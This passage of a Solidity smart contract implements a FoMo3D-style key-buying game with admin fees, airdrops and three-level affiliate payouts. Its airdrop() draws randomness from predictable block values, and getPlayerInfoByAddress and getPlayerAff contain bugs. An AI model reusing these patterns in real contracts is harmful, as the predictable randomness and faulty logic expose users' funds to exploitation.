msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
{
//10% trade tax
_withdrawFee = _eth / 10;
_p1 = _withdrawFee.mul(65) / 100;
_p2 = _withdrawFee.mul(35) / 100;
shareCom.transfer(_p1);
admin.transfer(_p2);
plyr_[_pID].addr.transfer(_eth.sub(_withdrawFee));
}
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 100000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
shareCom.transfer((_com.mul(65) / 100));
admin.transfer((_com.mul(35) / 100));
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
uint256 _rndInc = rndInc_;
if(round_[_rID].pot > rndLimit_)
{
_rndInc = _rndInc / 2;
}
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay community rewards
uint256 _com = _eth / 10;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
// pay 1% out to FoMo3D short
// uint256 _long = _eth / 100;
// otherF3D_.potSwap.value(_long)();
_p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID));
// pay out p3d
// _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
uint256 _potAmount = _p3d / 2;
uint256 _amount = _p3d.sub(_potAmount);
shareCom.transfer((_amount.mul(65)/100));
admin.transfer((_amount.mul(35)/100));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
returns(uint256)
{
uint256 _addP3d = 0;
// distribute share to affiliate
uint256 _aff1 = _eth / 10;
uint256 _aff2 = _eth / 20;
uint256 _aff3 = _eth / 34;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != ''))
{
plyr_[_pID].laffID = _affID;
plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now);
//second level aff
uint256 _secLaff = plyr_[_affID].laffID;
if((_secLaff != 0) && (_secLaff != _pID))
{
plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff);
emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now);
//third level aff
uint256 _thirdAff = plyr_[_secLaff].laffID;
if((_thirdAff != 0 ) && (_thirdAff != _pID))
{
plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff);
emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now);
} else {
_addP3d = _addP3d.add(_aff3);
}
} else {
_addP3d = _addP3d.add(_aff2);
}
} else {
_addP3d = _addP3d.add(_aff1);
}
return(_addP3d);
}
function getPlayerAff(uint256 _pID)
public
view
returns (uint256,uint256,uint256)
{
uint256 _affID = plyr_[_pID].laffID;
if (_affID != 0)
{
//second level aff
uint256 _secondLaff = plyr_[_affID].laffID;
if(_secondLaff != 0)
{
//third level aff
uint256 _thirdAff = plyr_[_secondLaff].laffID;
}
}
return (_affID,_secondLaff,_thirdAff);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
//_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
_eth = _eth.sub(_eth.mul(30) / 100);
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
uint256 laffID; // last affiliate id unaffected
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcShort {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
